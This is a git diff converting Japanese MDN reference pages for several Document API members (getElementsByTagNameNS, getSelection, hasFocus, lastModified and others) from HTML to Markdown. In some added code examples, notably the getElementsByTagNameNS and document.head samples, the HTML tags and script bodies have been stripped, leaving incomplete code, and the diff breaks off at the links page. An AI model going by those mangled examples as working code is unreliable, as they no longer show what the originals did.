+> **Note:** **注:** W3C の仕様書では `elements` は `NodeList` であるとされていますが、 Gecko および Internet Explorer ではこのメソッドは {{DOMxRef("HTMLCollection")}} を返します。 Opera は `NodeList` を返しますが、 `namedItem` メソッドを実装しているので、 `HTMLCollection` と同様になります。2012 年 1 月時点で、 WebKit ブラウザーのみが純粋な `NodeList` の値を返します。詳しくは [bug 14869](https://bugzilla.mozilla.org/show_bug.cgi?id=14869) を参照してください。 -

注: 現在、このメソッドの引数は大文字と小文字を区別しますが、 Firefox 3.5 以前は大文字と小文字を区別していませんでした。詳しくは Firefox 3.6 の開発者リリースノートおよび {{domxref("Element.getElementsByTagNameNS")}} のブラウザーの互換性のメモをご覧ください。

+> **Note:** **注:** 現在、このメソッドの引数は大文字と小文字を区別しますが、 Firefox 3.5 以前は大文字と小文字を区別していませんでした。詳しくは [Firefox 3.6 の開発者リリースノート](/ja/docs/Mozilla/Firefox/Releases/3.6#DOM)および {{domxref("Element.getElementsByTagNameNS")}} のブラウザーの互換性のメモをご覧ください。 -

+## 例 -

以下の例では、 getElementsByTagNameNS は特定の親要素から始め、 DOM 内を親要素から再帰的に通して検索し、タグの name が引数に一致する子要素を検索します。

+以下の例では、 `getElementsByTagNameNS` は特定の親要素から始め、 DOM 内を親要素から再帰的に通して検索し、タグの `name` が引数に一致する子要素を検索します。 -

なお、 getElementsByTagName が呼び出されたノードが document ではない場合、実際には {{domxref("element.getElementsByTagNameNS")}} メソッドが使用されます。

+なお、 `getElementsByTagName` が呼び出されたノードが `document` ではない場合、実際には {{domxref("element.getElementsByTagNameNS")}} メソッドが使用されます。 -

以下の例を使用するには、新しいファイルにそのままコピー&ペーストして、 .xhtml の拡張子で保存してください。

+以下の例を使用するには、新しいファイルにそのままコピー&ペーストして、 .xhtml の拡張子で保存してください。 -
<html xmlns="http://www.w3.org/1999/xhtml">
+```html
+
 
-<head>
-<title>getElementsByTagNameNS example</title>
+
+getElementsByTagNameNS example
 
-<script type="text/javascript">
+
+
 
-<body style="border: solid green 3px">
-<p>Some outer text</p>
-<p>Some outer text</p>
+
+

Some outer text

+

Some outer text

- <div id="div1" style="border: solid blue 3px"> - <p>Some div1 text</p> - <p>Some div1 text</p> - <p>Some div1 text</p> +
+

Some div1 text

+

Some div1 text

+

Some div1 text

- <div id="div2" style="border: solid red 3px"> - <p>Some div2 text</p> - <p>Some div2 text</p> - </div> - </div> +
+

Some div2 text

+

Some div2 text

+
+
-<p>Some outer text</p> -<p>Some outer text</p> +

Some outer text

+

Some outer text

-<button onclick="getAllParaElems();"> - show all p elements in document</button><br /> +
-<button onclick="div1ParaElems();"> - show all p elements in div1 element</button><br /> +
-<button onclick="div2ParaElems();"> - show all p elements in div2 element</button> + -</body> -</html> -
+ + +``` -

対応していないブラウザーでの代替方法

+## 対応していないブラウザーでの代替方法 -

要求されたブラウザーが XPath に対応していない場合、他のアプローチ (DOM のすべての子要素をたどって、すべての @xmlns インスタンスで識別する、など) で要求された局所名および名前空間を持つすべてのタグを検索する必要がありますが、 XPath の方がはるかに高速です。 (Explorer に対応するためには、このラッパークラスのように、以下の関数で XPath の代わりに XPath のラッパーを呼び出すことができます (Explorer は異なる API を持つ XPath に対応しています)。

+要求されたブラウザーが XPath に対応していない場合、他のアプローチ (DOM のすべての子要素をたどって、すべての @xmlns インスタンスで識別する、など) で要求された局所名および名前空間を持つすべてのタグを検索する必要がありますが、 XPath の方がはるかに高速です。 (Explorer に対応するためには、[このラッパークラス](http://www.davidflanagan.com/javascript5/display.php?n=21-10&f=21/10.js)のように、以下の関数で XPath の代わりに XPath のラッパーを呼び出すことができます (Explorer は異なる API を持つ XPath に対応しています)。 -
function getElementsByTagNameNSWrapper (ns, elName, doc, context) {
+```js
+function getElementsByTagNameNSWrapper (ns, elName, doc, context) {
  if (!doc) {
   doc = document;
  }
@@ -125,38 +126,23 @@ function div2ParaElems()
  var result = doc.evaluate('//*[local-name()="'+elName+'" and namespace-uri() = "'+ns+'"]', context, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
 
         var a = [];
-        for(var i = 0; i < result.snapshotLength; i++) {
+        for(var i = 0; i < result.snapshotLength; i++) {
             a[i] = result.snapshotItem(i);
         }
         return a;
 }
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-getelementsbytagnamens', 'document.getElementsByTagNameNS')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.getElementsByTagNameNS")}}

- -

関連情報

- -
    -
  • {{DOMxRef("Element.getElementsByTagNameNS()")}}
  • -
+``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-getelementsbytagnamens', 'document.getElementsByTagNameNS')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.getElementsByTagNameNS")}} + +## 関連情報 + +- {{DOMxRef("Element.getElementsByTagNameNS()")}} diff --git a/files/ja/web/api/document/getselection/index.md b/files/ja/web/api/document/getselection/index.md index 5e416caf0bace1..2e1188d5aec5d7 100644 --- a/files/ja/web/api/document/getselection/index.md +++ b/files/ja/web/api/document/getselection/index.md @@ -7,60 +7,66 @@ tags: - Method - Reference - getSelection -browser-compat: api.Document.getSelection translation_of: Web/API/Document/getSelection original_slug: Web/API/DocumentOrShadowRoot/getSelection +browser-compat: api.Document.getSelection --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

getSelection() は {{DOMxRef("Document")}} インターフェイスのプロパティで、ユーザーが選択したテキストの範囲、またはキャレットの現在位置を表す {{DOMxRef("Selection")}} オブジェクトを返します。

+**`getSelection()`** は {{DOMxRef("Document")}} インターフェイスのプロパティで、ユーザーが選択したテキストの範囲、またはキャレットの現在位置を表す {{DOMxRef("Selection")}} オブジェクトを返します。 -

構文

+## 構文 -
getSelection()
+```js +getSelection() +``` -

引数

+### 引数 -

なし。

+なし。 -

返値

+### 返値 -

{{DOMxRef("Selection")}} オブジェクト。

+{{DOMxRef("Selection")}} オブジェクト。 -

+## 例 -

Selection オブジェクトを取得

+### Selection オブジェクトを取得 -
+```js
 let selection = document.getSelection();
 let selRange = selection.getRangeAt(0);
 // この範囲に対して何かをする
 
 console.log(selection); // Selection オブジェクト
-
+``` -

Selection オブジェクトの文字列表現

+### Selection オブジェクトの文字列表現 -

JavaScript では、オブジェクトが文字列を取る関数 ({{DOMxRef("Window.alert()")}} など) に渡された場合、オブジェクトの {{JSxRef("Object.toString", "toString()")}} メソッドが呼び出され、関数にその返値が渡されます。これにより、プロパティやメソッドを持つ実際のオブジェクトであった場合、他の関数に使われると文字列になって現れることがあります。

+JavaScript では、オブジェクトが文字列を取る関数 ({{DOMxRef("Window.alert()")}} など) に渡された場合、オブジェクトの {{JSxRef("Object.toString", "toString()")}} メソッドが呼び出され、関数にその返値が渡されます。これにより、プロパティやメソッドを持つ実際のオブジェクトであった場合、他の関数に使われると文字列になって現れることがあります。 -
alert(selection);
+```js +alert(selection); +``` -

ただし、すべての関数で自動的に toString() が呼び出されるとは限りません。 Selection オブジェクトを文字列として使用する場合は、 toString() メソッドを直接呼び出してください。

+ただし、すべての関数で自動的に `toString()` が呼び出されるとは限りません。 `Selection` オブジェクトを文字列として使用する場合は、 `toString()` メソッドを直接呼び出してください。 -
let selectedText = selection.toString();
+```js +let selectedText = selection.toString(); +``` - +## 関連するオブジェクト -

{{domxref("Window.getSelection()")}} を呼び出すと、 Document.getSelection() と同等の動作をします。

+{{domxref("Window.getSelection()")}} を呼び出すと、 `Document.getSelection()` と同等の動作をします。 -

Firefox において現在は getSelection() は {{htmlelement("input")}} 要素の中では動作しないことに注意してください。 {{domxref("HTMLInputElement.setSelectionRange()")}} を使用することで回避できます。

+Firefox において現在は `getSelection()` は {{htmlelement("input")}} 要素の中では動作しないことに注意してください。 {{domxref("HTMLInputElement.setSelectionRange()")}} を使用することで回避できます。 -

selectionfocus との違いにも注意してください。 {{domxref("Document.activeElement")}} はフォーカスを持つ要素を返します。

+_selection_ と _focus_ との違いにも注意してください。 {{domxref("Document.activeElement")}} はフォーカスを持つ要素を返します。 -

仕様書

+## 仕様書 {{Specifications}} -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat}}

+{{Compat}} diff --git a/files/ja/web/api/document/hasfocus/index.md b/files/ja/web/api/document/hasfocus/index.md index d228acbe5a5e6c..402f843dc019fc 100644 --- a/files/ja/web/api/document/hasfocus/index.md +++ b/files/ja/web/api/document/hasfocus/index.md @@ -11,34 +11,37 @@ tags: - メソッド translation_of: Web/API/Document/hasFocus --- -
{{APIRef}}
+{{APIRef}} -

hasFocus() は {{domxref("Document")}} インターフェイスのメソッドで、 {{jsxref("Boolean")}} の値を返し、文書または文書内の何れかの要素がフォーカスを持っているかどうかを示します。このメソッドは、文書内のアクティブな要素がフォーカスを持っているかどうかを特定するために使用することができます。

+**`hasFocus()`** は {{domxref("Document")}} インターフェイスのメソッドで、 {{jsxref("Boolean")}} の値を返し、文書または文書内の何れかの要素がフォーカスを持っているかどうかを示します。このメソッドは、文書内のアクティブな要素がフォーカスを持っているかどうかを特定するために使用することができます。 -
-

文書を見ている時、文書内でフォーカスを持つ要素は常にアクティブ要素ですが、アクティブ要素がフォーカスを持っているとは限りません。例えば、フォアグラウンドになっていないポップアップウィンドウ内のアクティブ要素はフォーカスを持ちません。

-
+> **Note:** 文書を見ている時、文書内でフォーカスを持つ要素は常に[アクティブ要素](/ja/docs/Web/API/DocumentOrShadowRoot/activeElement)ですが、アクティブ要素がフォーカスを持っているとは限りません。例えば、フォアグラウンドになっていないポップアップウィンドウ内のアクティブ要素はフォーカスを持ちません。 -

構文

+## 構文 -
var focused = document.hasFocus();
+``` +var focused = document.hasFocus(); +``` -

返値

+### 返値 -

文書内のアクティブ要素にフォーカスがない場合は false が、文書内のアクティブ要素にフォーカスがある場合は true が返ります。

+文書内のアクティブ要素にフォーカスがない場合は `false` が、文書内のアクティブ要素にフォーカスがある場合は `true` が返ります。 -

+## 例 -

この例は、文書がフォーカスを持っているかどうかを300ミリ秒ごとに検査します。 hasFocus() の機能をテストするために、ボタンを押して新しいウィンドウを開き、二つのページの間を切り替えてみてください。

+この例は、文書がフォーカスを持っているかどうかを 300 ミリ秒ごとに検査します。 `hasFocus()` の機能をテストするために、ボタンを押して新しいウィンドウを開き、二つのページの間を切り替えてみてください。 -

HTML

+### HTML -
<p id="log">Awaiting focus check.</p>
-<button onclick="openWindow()">Open a new window</button>
+```html +

Awaiting focus check.

+ +``` -

JavaScript

+### JavaScript -
function checkPageFocus() {
+```js
+function checkPageFocus() {
   let body = document.querySelector('body');
   let log = document.getElementById('log');
 
@@ -57,37 +60,23 @@ function openWindow() {
 }
 
 // Check page focus every 300 milliseconds
-setInterval(checkPageFocus, 300);
+setInterval(checkPageFocus, 300); +``` -

結果

+### 結果 -

{{EmbedLiveSample("Example")}}

+{{EmbedLiveSample("Example")}} -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', 'interaction.html#dom-document-hasfocus', 'Document.hasFocus()')}}{{Spec2('HTML WHATWG')}}初回定義
+| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | -------- | +| {{SpecName('HTML WHATWG', 'interaction.html#dom-document-hasfocus', 'Document.hasFocus()')}} | {{Spec2('HTML WHATWG')}} | 初回定義 | -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.hasFocus")}}

+{{Compat("api.Document.hasFocus")}} -

関連情報

+## 関連情報 - +- [Page Visibility API の使用](/ja/docs/Web/Guide/User_experience/Using_the_Page_Visibility_API) diff --git a/files/ja/web/api/document/hasstorageaccess/index.md b/files/ja/web/api/document/hasstorageaccess/index.md index 54f18a58dea94a..6b2eafe936ba94 100644 --- a/files/ja/web/api/document/hasstorageaccess/index.md +++ b/files/ja/web/api/document/hasstorageaccess/index.md @@ -11,45 +11,49 @@ tags: - メソッド translation_of: Web/API/Document/hasStorageAccess --- -
{{APIRef}}{{seecompattable}}
+{{APIRef}}{{seecompattable}} -

{{domxref("Document")}} インターフェイスの hasStorageAccess() メソッドは、文書がファーストパーティのストレージへのアクセス権を持っているかどうかを真偽値で解決する {{jsxref("Promise")}} を返します。

+{{domxref("Document")}} インターフェイスの **`hasStorageAccess()`** メソッドは、文書がファーストパーティのストレージへのアクセス権を持っているかどうかを真偽値で解決する {{jsxref("Promise")}} を返します。 -

詳しくは Storage Access API を参照してください。

+詳しくは [Storage Access API](/ja/docs/Web/API/Storage_Access_API) を参照してください。 -

構文

+## 構文 -
var promise = document.hasStorageAccess();
+``` +var promise = document.hasStorageAccess(); +``` -

引数

+### 引数 -

なし。

+なし。 -

返値

+### 返値 -

文書がファーストパーティのストレージへのアクセス権を持っているかどうかを真偽値で解決する {{jsxref("Promise")}} です。

+文書がファーストパーティのストレージへのアクセス権を持っているかどうかを真偽値で解決する {{jsxref("Promise")}} です。 -

Promise が解決され、関数が最初に呼び出されたときにユーザージェスチャーイベントを処理していた場合、解決ハンドラーはユーザージェスチャーが処理されているかのように実行されるため、ユーザーによるアクティベーションを必要とする API を呼び出すことができます。

+Promise が解決され、関数が最初に呼び出されたときにユーザージェスチャーイベントを処理していた場合、解決ハンドラーはユーザージェスチャーが処理されているかのように実行されるため、ユーザーによるアクティベーションを必要とする API を呼び出すことができます。 -

+## 例 -
document.hasStorageAccess().then(hasAccess => {
+```js
+document.hasStorageAccess().then(hasAccess => {
   if (hasAccess) {
     // ストレージへのアクセスはすでに許可されています。
   } else {
     // ストレージへのアクセスはまだ許可されていません。
     // requestStorageAccess() を呼び出す必要があります。
   }
-});
+}); +``` -

仕様書

+## 仕様書 -

この API はまだ提案段階にあります。 — 標準化プロセスはまだ始まっていません。現在のところ、この API の詳細の仕様書は、アップルのブログ投稿の Introducing Storage Access API、および WHATWG HTML issue 3338 — Proposal: Storage Access API で見ることができます。

+この API はまだ提案段階にあります。 — 標準化プロセスはまだ始まっていません。現在のところ、この API の詳細の仕様書は、アップルのブログ投稿の [Introducing Storage Access API](https://webkit.org/blog/8124/introducing-storage-access-api/)、および [WHATWG HTML issue 3338 — Proposal: Storage Access API](https://github.com/whatwg/html/issues/3338) で見ることができます。 -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.hasStorageAccess")}}

+{{Compat("api.Document.hasStorageAccess")}} -

関連情報

+## 関連情報 -

Storage Access API

+[Storage Access API](/ja/docs/Web/API/Storage_Access_API) diff --git a/files/ja/web/api/document/head/index.md b/files/ja/web/api/document/head/index.md index 4d948ce6a064bc..ef07a2643e211f 100644 --- a/files/ja/web/api/document/head/index.md +++ b/files/ja/web/api/document/head/index.md @@ -9,74 +9,53 @@ tags: - head translation_of: Web/API/Document/head --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

{{domxref("Document")}} インターフェイスの head は読み取り専用のプロパティで、現在の文書の {{HTMLElement("head")}} 要素を返します。

+{{domxref("Document")}} インターフェイスの **`head`** は読み取り専用のプロパティで、現在の文書の {{HTMLElement("head")}} 要素を返します。 -

構文

+## 構文 -
var objRef = document.head;
-
+``` +var objRef = document.head; +``` -

+### 値 -

{{domxref("HTMLHeadElement")}} です。

+{{domxref("HTMLHeadElement")}} です。 -

+## 例 -
<!doctype html>
-<head id="my-document-head">
-  <title>Example: using document.head</title>
-</head>
+```html
+
+
+  Example: using document.head
+
 
-<script>
+
+```
+
+## メモ
+
+`document.head` は読取専用です。このプロパティに値を代入した場合は、暗黙に失敗するか、 [Strict モード](/ja/docs/Web/JavaScript/Reference/Strict_mode)の場合は、 {{jsxref("TypeError")}} を投げます。
+
+## 仕様書
+
+| 仕様書                                                                                           | 状態                             | 備考     |
+| ------------------------------------------------------------------------------------------------ | -------------------------------- | -------- |
+| {{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}     | {{Spec2('HTML5.1')}}     |          |
+| {{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}     | {{Spec2('HTML5 W3C')}}     |          |
+| {{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}} | {{Spec2('HTML WHATWG')}} | 初回定義 |
+
+## ブラウザーの対応
+
+{{Compat("api.Document.head")}}
+
+## 関連情報
+
+- {{domxref("document.body")}}
diff --git a/files/ja/web/api/document/hidden/index.md b/files/ja/web/api/document/hidden/index.md
index 8eba135565826a..fa0f3565352b59 100644
--- a/files/ja/web/api/document/hidden/index.md
+++ b/files/ja/web/api/document/hidden/index.md
@@ -11,41 +11,31 @@ tags:
   - Web
 translation_of: Web/API/Document/hidden
 ---
-

{{ ApiRef("DOM") }}

+{{ ApiRef("DOM") }} -

Document.hidden は読み取り専用のプロパティで、ページが非表示になっているとみられるかどうかを示す論理値を返します。

+**`Document.hidden`** は読み取り専用のプロパティで、ページが非表示になっているとみられるかどうかを示す論理値を返します。 -

構文

+## 構文 -
var boolean = document.hidden
+``` +var boolean = document.hidden +``` -

+## 例 -
document.addEventListener("visibilitychange", function() {
+```js
+document.addEventListener("visibilitychange", function() {
   console.log( document.hidden );
   // 振る舞いを修正...
 });
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('Page Visibility API','#dom-document-hidden', 'Document.hidden')}}{{Spec2('Page Visibility API')}}初回定義
- -

ブラウザーの互換性

- -

{{Compat("api.Document.hidden")}}

+``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------- | -------------------------------------------- | -------- | +| {{SpecName('Page Visibility API','#dom-document-hidden', 'Document.hidden')}} | {{Spec2('Page Visibility API')}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.hidden")}} diff --git a/files/ja/web/api/document/images/index.md b/files/ja/web/api/document/images/index.md index 15835ddf89cebe..9f960dadf42d23 100644 --- a/files/ja/web/api/document/images/index.md +++ b/files/ja/web/api/document/images/index.md @@ -8,31 +8,41 @@ tags: - Gecko DOM Reference translation_of: Web/API/Document/images --- -
- {{ApiRef}}
-

概要

-

document.images は、現在の HTML 文書の {{domxref("Image")}} のコレクションを返します。

-

構文

-
var htmlCollection = document.images;
-

-

特定の src 属性値を持つ img 要素が文書中に存在する場合にのみ何らかの処理を行う例を以下に示します。

-
var ilist = document.images;
-
-for(var i = 0; i < ilist.length; i++) {
+{{ApiRef}}
+
+## 概要
+
+`document.images` は、現在の HTML 文書の {{domxref("Image")}} のコレクションを返します。
+
+## 構文
+
+```
+var htmlCollection = document.images;
+```
+
+## 例
+
+特定の src 属性値を持つ img 要素が文書中に存在する場合にのみ何らかの処理を行う例を以下に示します。
+
+```js
+var ilist = document.images;
+
+for(var i = 0; i < ilist.length; i++) {
     if(ilist[i].src == "banner.gif") {
         // bunner.gif が存在した場合の処理
     }
-}
-

プロパティ

-
-
- document.images.length
-
- 文書中の画像の数を返す
-
-

注記

-

document.images は DOM HTML の一部であり、HTML 文書に於いてのみ動作します。

-

仕様書

- +} +``` + +## プロパティ + +- `document.images.length` + - : 文書中の画像の数を返す + +## 注記 + +`document.images` は DOM HTML の一部であり、HTML 文書に於いてのみ動作します。 + +## 仕様書 + +- [DOM Level 2 HTML: HTMLDocument.images](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-90379117) diff --git a/files/ja/web/api/document/implementation/index.md b/files/ja/web/api/document/implementation/index.md index 8e26a0ed8db376..df3b0f732fe9cf 100644 --- a/files/ja/web/api/document/implementation/index.md +++ b/files/ja/web/api/document/implementation/index.md @@ -10,57 +10,44 @@ tags: - Reference translation_of: Web/API/Document/implementation --- -
{{ ApiRef("DOM") }}
+{{ ApiRef("DOM") }} -

Document.implementation プロパティは、現在の文書に関連付けられた {{domxref("DOMImplementation")}} オブジェクトを返します。

+**`Document.implementation`** プロパティは、現在の文書に関連付けられた {{domxref("DOMImplementation")}} オブジェクトを返します。 -

構文

+## 構文 -
DOMImpObj = document.implementation;
-
+``` +DOMImpObj = document.implementation; +``` -

+## 例 -
var modName = "HTML";
+```js
+var modName = "HTML";
 var modVer = "2.0";
 var conformTest = document.implementation.hasFeature( modName, modVer );
 
 alert( "DOM " + modName + " " + modVer + " supported?: " + conformTest );
 
 // DOM Level 2 HTML module に対応している場合、"DOM HTML 2.0 supported?: true" とアラート表示されます。
-
+``` -

モジュール名 (※ Core 、HTML 、XML 等) の一覧は Conformance Section で入手可能です。

+モジュール名 (※ Core 、HTML 、XML 等) の一覧は [Conformance Section](http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance-h2) で入手可能です。 -

メモ

+## メモ -

W3C's DOM Level 1 勧告では hasFeature メソッドのみが定義されているので、ブラウザーが DOM モジュールに対応しているかどうかを判断する方法の一つです。 (上記の例と What does your user agent claim to support? を参照してください)。利用できるのであれば、 DOMImplementation の他のメソッドが、単一文書の外のものを制御するサービスを提供します。例えば、 DOMImplementation インターフェイスは createDocumentType メソッドを含んでおり、実装によって管理された1つ以上の文書に DTD が作成されます。

+W3C's DOM Level 1 勧告では `hasFeature` メソッドのみが定義されているので、ブラウザーが DOM モジュールに対応しているかどうかを判断する方法の一つです。 (上記の例と [What does your user agent claim to support?](http://www.w3.org/2003/02/06-dom-support.html) を参照してください)。利用できるのであれば、 `DOMImplementation` の他のメソッドが、単一文書の外のものを制御するサービスを提供します。例えば、 `DOMImplementation` インターフェイスは `createDocumentType` メソッドを含んでおり、実装によって管理された 1 つ以上の文書に DTD が作成されます。 -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-implementation', 'document.implementation')}}{{Spec2('DOM WHATWG')}}
+| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-implementation', 'document.implementation')}} | {{Spec2('DOM WHATWG')}} | | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.implementation")}}

+{{Compat("api.Document.implementation")}} -

Gecko に特有のメモ

+### Gecko に特有のメモ -
    -
  • Gecko 19.0 {{geckoRelease("19.0")}} から、 {{domxref("DOMImplementation.hasFeature","hasFeature")}} メソッドは常に true を返します。
  • -
+- Gecko 19.0 {{geckoRelease("19.0")}} から、 {{domxref("DOMImplementation.hasFeature","hasFeature")}} メソッドは常に true を返します。 diff --git a/files/ja/web/api/document/lastmodified/index.md b/files/ja/web/api/document/lastmodified/index.md index 682e0341ffa867..8a0db59015a1b3 100644 --- a/files/ja/web/api/document/lastmodified/index.md +++ b/files/ja/web/api/document/lastmodified/index.md @@ -10,85 +10,80 @@ tags: - Reference translation_of: Web/API/Document/lastModified --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

lastModified は {{domxref("Document")}} インターフェイスのプロパティで、現在の文書が最後に更新された日付と時刻を含む文字列を返します。

+**`lastModified`** は {{domxref("Document")}} インターフェイスのプロパティで、現在の文書が最後に更新された日付と時刻を含む文字列を返します。 -

構文

+## 構文 -
var string = document.lastModified;
-
+``` +var string = document.lastModified; +``` -

+## 例 -

単純な使用

+### 単純な使用 -

この例では lastModified の値をアラート表示します。

+この例では `lastModified` の値をアラート表示します。 -
alert(document.lastModified);
+```js
+alert(document.lastModified);
 // 表示内容: Tuesday, December 16, 2017 11:09:42
-
+``` -

lastModified を Date オブジェクトへ変換

+### lastModified を Date オブジェクトへ変換 -

この例では、 lastModified を {{jsxref("Date")}} オブジェクトに変換します。object.

+この例では、 `lastModified` を {{jsxref("Date")}} オブジェクトに変換します。object. -
let oLastModif = new Date(document.lastModified);
-
+```js +let oLastModif = new Date(document.lastModified); +``` -

lastModified をミリ秒に変換

+### lastModified をミリ秒に変換 -

この例では、 lastModified を地方時の1970年1月1日 00:00:00からの経過ミリ秒数の数値に変換します。

+この例では、 `lastModified` を地方時の 1970 年 1 月 1 日 00:00:00 からの経過ミリ秒数の数値に変換します。 -
let nLastModif = Date.parse(document.lastModified);
-
+```js +let nLastModif = Date.parse(document.lastModified); +``` -

+## 注 -

lastModified は文字列なので、文書の更新日の比較には簡単には使用できないことに注意してください。こちらはいつページが変更されたかをアラートメッセージで表示する方法の例です (JavaScript cookies API も参照)。

+`lastModified` は文字列なので、文書の更新日の比較には*簡単には*使用できないことに注意してください。こちらはいつページが変更されたかをアラートメッセージで表示する方法の例です ([JavaScript cookies API](/ja/docs/DOM/document.cookie) も参照)。 -
if (Date.parse(document.lastModified) > parseFloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1") || "0")) {
+```js
+if (Date.parse(document.lastModified) > parseFloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1") || "0")) {
   document.cookie = "last_modif=" + Date.now() + "; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + location.pathname;
   alert("ページが変更されました。");
-}
+} +``` -

…同じ例ですが、最初の訪問をスキップします。

+…同じ例ですが、最初の訪問をスキップします。 -
var
+```js
+var
   nLastVisit = parseFloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1")),
   nLastModif = Date.parse(document.lastModified);
 
-if (isNaN(nLastVisit) || nLastModif > nLastVisit) {
+if (isNaN(nLastVisit) || nLastModif > nLastVisit) {
   document.cookie = "last_modif=" + Date.now() + "; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + location.pathname;
 
   if (isFinite(nLastVisit)) {
     alert("ページが変更されました。");
   }
-}
- -
注: WebKit は時刻の文字列を UTC で返します。 Gecko と Internet Explorer はローカルタイムゾーンで時刻を返します。 (参照: Bug 4363 – document.lastModified returns date in UTC time, but should return it in local time)
- -

もし外部のページが変更されたかどうかを知りたい場合は、 XMLHttpRequest() API についてのこの段落をお読みください。

- -

仕様書

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-lastmodified', 'document.lastModified')}}{{Spec2('HTML WHATWG')}}
- -

ブラウザーの互換性

- -
{{Compat("api.Document.lastModified")}}
+} +``` + +> **Note:** **注:** WebKit は時刻の文字列を UTC で返します。 Gecko と Internet Explorer はローカルタイムゾーンで時刻を返します。 (参照: [Bug 4363 – document.lastModified returns date in UTC time, but should return it in local time](https://bugs.webkit.org/show_bug.cgi?id=4363)) + +もし***外部のページ*が変更されたかどうか**を知りたい場合は、 [`XMLHttpRequest()` API についてのこの段落](/ja/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Get_last_modified_date)をお読みください。 + +## 仕様書 + +| Specification | Status | Comment | +| ------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------- | +| {{SpecName('HTML WHATWG', '#dom-document-lastmodified', 'document.lastModified')}} | {{Spec2('HTML WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.lastModified")}} diff --git a/files/ja/web/api/document/linkcolor/index.md b/files/ja/web/api/document/linkcolor/index.md index a7aa7249419fe5..6d924400b0fa73 100644 --- a/files/ja/web/api/document/linkcolor/index.md +++ b/files/ja/web/api/document/linkcolor/index.md @@ -11,44 +11,42 @@ tags: - プロパティ translation_of: Web/API/Document/linkColor --- -
{{APIRef("DOM")}} {{Deprecated_header}}
+{{APIRef("DOM")}} {{Deprecated_header}} -

Document.linkColor プロパティは、文書内のリンクの色を取得または設定します。

+**`Document.linkColor`** プロパティは、文書内のリンクの色を取得または設定します。 -

このプロパティは非推奨です。代替手段として、 CSS の {{cssxref("color")}} プロパティを HTML のアンカーリンク ({{HtmlElement("a")}}) または {{cssxref(":link")}} 疑似クラスで設定することができます。もう一つの代替手段に document.body.link がありますが、これは HTML 4.01 で非推奨になりました

+このプロパティは非推奨です。代替手段として、 CSS の {{cssxref("color")}} プロパティを HTML のアンカーリンク ({{HtmlElement("a")}}) または {{cssxref(":link")}} 疑似クラスで設定することができます。もう一つの代替手段に `document.body.link` がありますが、これは [HTML 4.01 で非推奨になりました](http://www.w3.org/TR/html401/struct/global.html#adef-link)。 -

構文

+## 構文 -
color = document.linkColor
-document.linkColor = color
-
+``` +color = document.linkColor +document.linkColor = color +``` -

引数

+### 引数 -
    -
  • color: 色を単語 (例えば red) または16進値 (例えば #ff0000) で表す文字列。
  • -
+- `color`: 色を単語 (例えば `red`) または 16 進値 (例えば `#ff0000`) で表す文字列。 -

+## 例 -
document.linkColor = 'blue';
-
+```js +document.linkColor = 'blue'; +``` -

仕様書

+## 仕様書 -

HTML5

+HTML5 -

Document.linkColorDOM Level 2 HTML で非推奨になりました

+`Document.linkColor` は [DOM Level 2 HTML で非推奨になりました](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268)。 -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.linkColor")}}

+{{Compat("api.Document.linkColor")}} -

Mozilla Firefox におけるこのプロパティの既定値は、青 (16進数で #0000ee) です。

+Mozilla Firefox におけるこのプロパティの既定値は、青 (16 進数で `#0000ee`) です。 -

関連情報

+## 関連情報 -
    -
  • {{domxref("document.vlinkColor")}}
  • -
  • {{domxref("document.alinkColor")}}
  • -
+- {{domxref("document.vlinkColor")}} +- {{domxref("document.alinkColor")}} diff --git a/files/ja/web/api/document/links/index.md b/files/ja/web/api/document/links/index.md index 6394b176a6abed..7be3f736c7f7d8 100644 --- a/files/ja/web/api/document/links/index.md +++ b/files/ja/web/api/document/links/index.md @@ -8,24 +8,32 @@ tags: - Gecko DOM Reference translation_of: Web/API/Document/links --- -
- {{ApiRef}}
-

概要

-

